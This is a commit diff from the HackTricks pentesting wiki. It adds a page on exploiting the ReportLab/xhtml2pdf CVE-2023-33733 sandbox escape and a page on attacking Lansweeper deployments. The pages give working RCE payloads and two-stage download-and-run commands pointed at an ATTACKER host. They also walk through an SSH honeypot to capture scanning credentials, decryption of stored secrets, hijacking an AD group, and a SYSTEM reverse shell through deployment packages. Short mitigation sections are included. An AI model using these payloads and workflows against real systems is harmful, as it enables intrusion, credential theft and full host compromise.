mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
This commit is contained in:
carlospolop
commit
4c7d69faac
@ -70,6 +70,7 @@
|
||||
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
@ -283,6 +284,7 @@
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
|
||||
- [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
|
||||
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
|
||||
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
|
||||
|
||||
@ -136,6 +136,14 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
|
||||
Also see a real-world sandboxed evaluator escape in PDF generators:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). It abuses rl_safe_eval to reach function.__globals__ and os.system from evaluated attributes (for example, font color) and returns a valid value to keep rendering stable.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## Operators and short tricks
|
||||
|
||||
```python
|
||||
@ -1147,5 +1155,8 @@ will be bypassed
|
||||
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -0,0 +1,79 @@
|
||||
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.
|
||||
|
||||
CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.
|
||||
|
||||
Key points
|
||||
- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
|
||||
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__.
|
||||
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering.
|
||||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- Stability: Return a valid value for the attribute after execution (for color, use and 'red').
|
||||
|
||||
When to test
|
||||
- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||||
- HTTP response for PDF often starts with a ReportLab generator comment
|
||||
|
||||
How the sandbox bypass works
|
||||
- rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist.
|
||||
- However, safe functions live in a globals dictionary accessible as func.__globals__.
|
||||
- Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
|
||||
- .startswith('__') → always False (bypass name startswith('__') check)
|
||||
- .__eq__ returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
|
||||
- .__hash__ equals hash(str(self))
|
||||
- With this, getattr(pow, Word('__globals__')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('<cmd>').
|
||||
|
||||
Minimal exploitation pattern (attribute example)
|
||||
Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- The list-comprehension form allows a single expression acceptable to rl_safe_eval.
|
||||
- The trailing and 'red' returns a valid CSS color so the rendering doesn’t break.
|
||||
- Replace the command as needed; use ping to validate execution with tcpdump.
|
||||
|
||||
Operational workflow
|
||||
1) Identify PDF generator
|
||||
- PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
|
||||
2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
|
||||
3) Verify execution with low-noise ICMP
|
||||
- Run: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Windows often sends exactly four echo requests by default.
|
||||
4) Establish a shell
|
||||
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
|
||||
- Stage 1 (download):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Stage 2 (execute):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- For Linux targets, similar two-stage with curl/wget is possible:
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
Notes and tips
|
||||
- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
|
||||
- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
|
||||
- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.
|
||||
|
||||
Mitigations and detection
|
||||
- Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well.
|
||||
- Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted.
|
||||
- Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs.
|
||||
- Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents).
|
||||
|
||||
References
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@ -37,6 +37,15 @@ The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering
|
||||
|
||||
---
|
||||
|
||||
### Also see: ReportLab/xhtml2pdf PDF export RCE
|
||||
Applications built on Django commonly integrate xhtml2pdf/ReportLab to export views as PDF. When user-controlled HTML flows into PDF generation, rl_safe_eval may evaluate expressions inside triple brackets `[[[ ... ]]]` enabling code execution (CVE-2023-33733). Details, payloads, and mitigations:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
|
||||
|
||||
@ -75,5 +84,6 @@ Always fingerprint the exact framework version via the `X-Frame-Options` error p
|
||||
## References
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -307,6 +307,18 @@ Also, if a MSSQL instance is trusted (database link) by a different MSSQL instan
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### IT asset/deployment platforms abuse
|
||||
|
||||
Third-party inventory and deployment suites often expose powerful paths to credentials and code execution. See:
|
||||
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lansweeper-security.md
|
||||
{{#endref}}
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
If you find any Computer object with the attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\
|
||||
|
||||
@ -42,6 +42,16 @@ Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
|
||||
- From Linux you can also leverage BloodyAD to add yourself into arbitrary groups when you hold GenericAll/Write membership over them. If the target group is nested into “Remote Management Users”, you will immediately gain WinRM access on hosts honoring that group:
|
||||
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
|
||||
# If the target group is member of "Remote Management Users", WinRM becomes available
|
||||
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
Holding these privileges on a computer object or a user account allows for:
|
||||
|
||||
@ -0,0 +1,173 @@
|
||||
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lansweeper is an IT asset discovery and inventory platform commonly deployed on Windows and integrated with Active Directory. Credentials configured in Lansweeper are used by its scanning engines to authenticate to assets over protocols like SSH, SMB/WMI and WinRM. Misconfigurations frequently allow:
|
||||
|
||||
- Credential interception by redirecting a scanning target to an attacker-controlled host (honeypot)
|
||||
- Abuse of AD ACLs exposed by Lansweeper-related groups to gain remote access
|
||||
- On-host decryption of Lansweeper-configured secrets (connection strings and stored scanning credentials)
|
||||
- Code execution on managed endpoints via the Deployment feature (often running as SYSTEM)
|
||||
|
||||
This page summarizes practical attacker workflows and commands to abuse these behaviors during engagements.
|
||||
|
||||
## 1) Harvest scanning credentials via honeypot (SSH example)
|
||||
|
||||
Idea: create a Scanning Target that points to your host and map existing Scanning Credentials to it. When the scan runs, Lansweeper will attempt to authenticate with those credentials, and your honeypot will capture them.
|
||||
|
||||
Steps overview (web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
- Type: IP Range (or Single IP) = your VPN IP
|
||||
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
|
||||
- Disable schedule and plan to trigger manually
|
||||
- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
|
||||
- Click “Scan now” on the target
|
||||
- Run an SSH honeypot and retrieve the attempted username/password
|
||||
|
||||
Example with sshesame:
|
||||
|
||||
```yaml
|
||||
# sshesame.conf
|
||||
server:
|
||||
listen_address: 10.10.14.79:2022
|
||||
```
|
||||
|
||||
```bash
|
||||
# Install and run
|
||||
sudo apt install -y sshesame
|
||||
sshesame --config sshesame.conf
|
||||
# Expect client banner similar to RebexSSH and cleartext creds
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
|
||||
Validate captured creds against DC services:
|
||||
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
|
||||
Notes
|
||||
- Works similarly for other protocols when you can coerce the scanner to your listener (SMB/WinRM honeypots, etc.). SSH is often the simplest.
|
||||
- Many scanners identify themselves with distinct client banners (e.g., RebexSSH) and will attempt benign commands (uname, whoami, etc.).
|
||||
|
||||
## 2) AD ACL abuse: gain remote access by adding yourself to an app-admin group
|
||||
|
||||
Use BloodHound to enumerate effective rights from the compromised account. A common finding is a scanner- or app-specific group (e.g., “Lansweeper Discovery”) holding GenericAll over a privileged group (e.g., “Lansweeper Admins”). If the privileged group is also member of “Remote Management Users”, WinRM becomes available once we add ourselves.
|
||||
|
||||
Collection examples:
|
||||
|
||||
```bash
|
||||
# NetExec collection with LDAP
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
|
||||
|
||||
# RustHound-CE collection (zip for BH CE import)
|
||||
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
|
||||
```
|
||||
|
||||
Exploit GenericAll on group with BloodyAD (Linux):
|
||||
|
||||
```bash
|
||||
# Add our user into the target group
|
||||
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
|
||||
add groupMember "Lansweeper Admins" svc_inventory_lnx
|
||||
|
||||
# Confirm WinRM access if the group grants it
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
|
||||
Then get an interactive shell:
|
||||
|
||||
```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
|
||||
Tip: Kerberos operations are time-sensitive. If you hit KRB_AP_ERR_SKEW, sync to the DC first:
|
||||
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
|
||||
## 3) Decrypt Lansweeper-configured secrets on the host
|
||||
|
||||
On the Lansweeper server, the ASP.NET site typically stores an encrypted connection string and a symmetric key used by the application. With appropriate local access, you can decrypt the DB connection string and then extract stored scanning credentials.
|
||||
|
||||
Typical locations:
|
||||
- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
Use SharpLansweeperDecrypt to automate decryption and dumping of stored creds:
|
||||
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
|
||||
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# Tool will:
|
||||
# - Decrypt connectionStrings from web.config
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
|
||||
Expected output includes DB connection details and plaintext scanning credentials such as Windows and Linux accounts used across the estate. These often have elevated local rights on domain hosts:
|
||||
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
|
||||
Use recovered Windows scanning creds for privileged access:
|
||||
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
```
|
||||
|
||||
## 4) Lansweeper Deployment → SYSTEM RCE
|
||||
|
||||
As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
|
||||
|
||||
High-level steps:
|
||||
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
|
||||
- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
|
||||
- Catch your shell as SYSTEM.
|
||||
|
||||
Example payloads (PowerShell):
|
||||
|
||||
```powershell
|
||||
# Simple test
|
||||
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
|
||||
# Reverse shell example (adapt to your listener)
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
|
||||
OPSEC
|
||||
- Deployment actions are noisy and leave logs in Lansweeper and Windows event logs. Use judiciously.
|
||||
|
||||
## Detection and hardening
|
||||
|
||||
- Restrict or remove anonymous SMB enumerations. Monitor for RID cycling and anomalous access to Lansweeper shares.
|
||||
- Egress controls: block or tightly restrict outbound SSH/SMB/WinRM from scanner hosts. Alert on non-standard ports (e.g., 2022) and unusual client banners like Rebex.
|
||||
- Protect `Website\\web.config` and `Key\\Encryption.txt`. Externalize secrets into a vault and rotate on exposure. Consider service accounts with minimal privileges and gMSA where viable.
|
||||
- AD monitoring: alert on changes to Lansweeper-related groups (e.g., “Lansweeper Admins”, “Remote Management Users”) and on ACL changes granting GenericAll/Write membership on privileged groups.
|
||||
- Audit Deployment package creations/changes/executions; alert on packages spawning cmd.exe/powershell.exe or unexpected outbound connections.
|
||||
|
||||
## Related topics
|
||||
- SMB/LSA/SAMR enumeration and RID cycling
|
||||
- Kerberos password spraying and clock skew considerations
|
||||
- BloodHound path analysis of application-admin groups
|
||||
- WinRM usage and lateral movement
|
||||
|
||||
## References
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
|
||||
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
|
||||
- [BloodyAD](https://github.com/CravateRouge/bloodyAD)
|
||||
- [BloodHound CE](https://github.com/SpecterOps/BloodHound)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user